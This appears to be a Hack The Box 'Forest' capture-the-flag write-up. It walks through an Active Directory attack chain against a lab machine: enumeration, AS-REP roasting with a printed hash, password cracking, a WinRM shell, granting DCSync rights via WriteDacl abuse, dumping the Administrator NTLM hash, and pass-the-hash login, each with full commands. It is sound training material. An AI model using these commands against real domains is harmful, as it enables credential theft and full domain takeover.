┌──(kali㉿kali)-[~]└─$sudonmap-T4-sC-sV-O-Pn-p-10.10.10.161[sudo] password for kali: StartingNmap7.92 ( https://nmap.org ) at 2022-09-24 19:03 EDTNmapscanreportfor10.10.10.161Hostisup (0.026s latency).Notshown:65517closedtcpports (reset)PORTSTATESERVICEVERSION88/tcpopenkerberos-sec?135/tcpopenmsrpc?139/tcpopennetbios-ssn?389/tcpopenldap?464/tcpopenkpasswd5?593/tcpopenncacn_httpMicrosoftWindowsRPCoverHTTP1.0636/tcpopentcpwrapped3268/tcpopenglobalcatLDAP?3269/tcpopentcpwrapped47001/tcpopenwinrm?49664/tcpopenunknown49665/tcpopenunknown49666/tcpopenunknown49667/tcpopenunknown49671/tcpopenunknown49676/tcpopenncacn_httpMicrosoftWindowsRPCoverHTTP1.049677/tcpopenunknown49684/tcpopenunknownDevicetype:firewallRunning (JUST GUESSING): Fortinet embedded (87%)OSCPE:cpe:/h:fortinet:fortigate_100dAggressiveOSguesses:FortinetFortiGate100Dfirewall (87%)NoexactOSmatchesforhost (test conditionsnon-ideal).ServiceInfo:OS:Windows; CPE:cpe:/o:microsoft:windowsHostscriptresults:|_smb2-security-mode:SMB:Couldn't find a NetBIOS name that works for the server. Sorry!|_smb2-time: ERROR: Script execution failed (use -d to debug)OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 195.39 seconds
rpcclient -U "" -c "queryuser andy" -N 10.10.10.161 get info on users
┌──(kali㉿kali)-[~/Documents/hackthebox/forest]
└─$ rpcclient -U "" -c "queryuser andy" -N 10.10.10.161
User Name : andy
Full Name : Andy Hislip
Home Drive :
Dir Drive :
Profile Path:
Logon Script:
Description :
Workstations:
Comment :
Remote Dial :
Logon Time : Wed, 31 Dec 1969 19:00:00 EST
Logoff Time : Wed, 31 Dec 1969 19:00:00 EST
Kickoff Time : Wed, 13 Sep 30828 22:48:05 EDT
Password last set Time : Sun, 22 Sep 2019 18:44:16 EDT
Password can change Time : Mon, 23 Sep 2019 18:44:16 EDT
Password must change Time: Wed, 13 Sep 30828 22:48:05 EDT
unknown_2[0..31]...
user_rid : 0x47e
group_rid: 0x201
acb_info : 0x00000210
fields_present: 0x00ffffff
logon_divs: 168
bad_password_count: 0x00000000
logon_count: 0x00000000
padding1[0..7]...
logon_hrs[0..21]...
Let's try to kerberoast.
The domain is HTB python3 /opt/impacket/examples/GetNPUsers.py -dc-ip 10.10.10.161 htb/svc-alfresco -no-pass
┌──(kali㉿kali)-[~/Documents/hackthebox/forest]└─$python3/opt/impacket/examples/GetNPUsers.py-dc-ip10.10.10.161htb/svc-alfresco-no-passImpacketv0.10.0-Copyright2022SecureAuthCorporation[*] Getting TGT for svc-alfresco$krb5asrep$23$svc-alfresco@HTB:6510e231f7bd073beb207c9c8b0312f1$9ee65c44e5fb88dd1a6e59b723eff51cf8cc3d991c7070173d0467ce8be8f1d700e7cfc92037501e59cfd3126649041a63f9cb0ea50e4217baf607d4fdfc472f28c7ff95d6de871bd57774d0eaf969a32f9d23753d723e6917ada3e25a22e799552da96c7ff8e08cd50acdb8b8110fdfb0dc539312da2c5ced243df8f5934dae41789ecbbf7b96ef67b731372424aea72e616c510677f644926216f67dea198bda8a0a174df8253af33c3aae6b16b3b5209dd51fc8ef2a29d5bbb163c0593eed4f4974dbe82833582d4f4ccdc0f1e2d555cac02d7472f52595f157c52708a363
Now we can crack the password with hashcat hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txt And we get the password it is s3rvice
Let's try to get a shell with evil-winrm evil-winrm -i 10.10.10.161 -u svc-alfresco -p 's3rvice'
Privesc
Let's upload winpeas with evil-winrm it is easy we just have to use the upload command upload /home/kali/Documents/hackthebox/forest/winPEASany.exe
Let's also take powerup
This does not really go anywhere.
Let's use Bloodhound, after all the box is named "forest"
This node is particularly interesting for us
According to this article we can access to File Shares.
net group "EXCHANGE WINDOWS PERMISSIONS" svc-alfresco /add /domain
We did not go very far with this.
We could also try to abuse this WriteDacl permission that the group "Exchange Windows Permissions has"
Our user svc-alfresco is able to add users.
Here are the Abuse info from bloodhound
To abuse WriteDacl to a domain object, you may grant yourself the DcSync privileges. You may need to authenticate to the Domain Controller as a member of EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL if you are not running a process as a member. To do this in conjunction with Add-DomainObjectAcl, first create a PSCredential object (these examples comes from the PowerView help documentation):
First let's import Powerview . .\Powerview.ps1 was not working what worked was Import-Module .\PowerView.ps1
Let's add a user net user gabrielle gabrielle@123 /add /domain
Let's add it to the group with WriteDacl permission net group "Exchange Windows Permissions" /add gabrielle
Add-DomainObjectAcl -Credential $cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity gabrielle -Rights DCSync we use Add-DomainObjectAcl
Finally we just need to dump hashes with secretdumps secretsdump.py htb.local/gabrielle:gabrielle@123@10.10.10.161
We get the admin hash this way
Impacketv0.9.19-Copyright2019SecureAuthCorporation[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)[*] Using the DRSUAPI method to get NTDS.DIT secretshtb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
Let's connect as Administrator using the hash evil-winrm -i 10.10.10.161 -u Administrator -H 32693b11e6aa90eb43d32c72a07ceea6 and get the root flag type ../Desktop/root.txt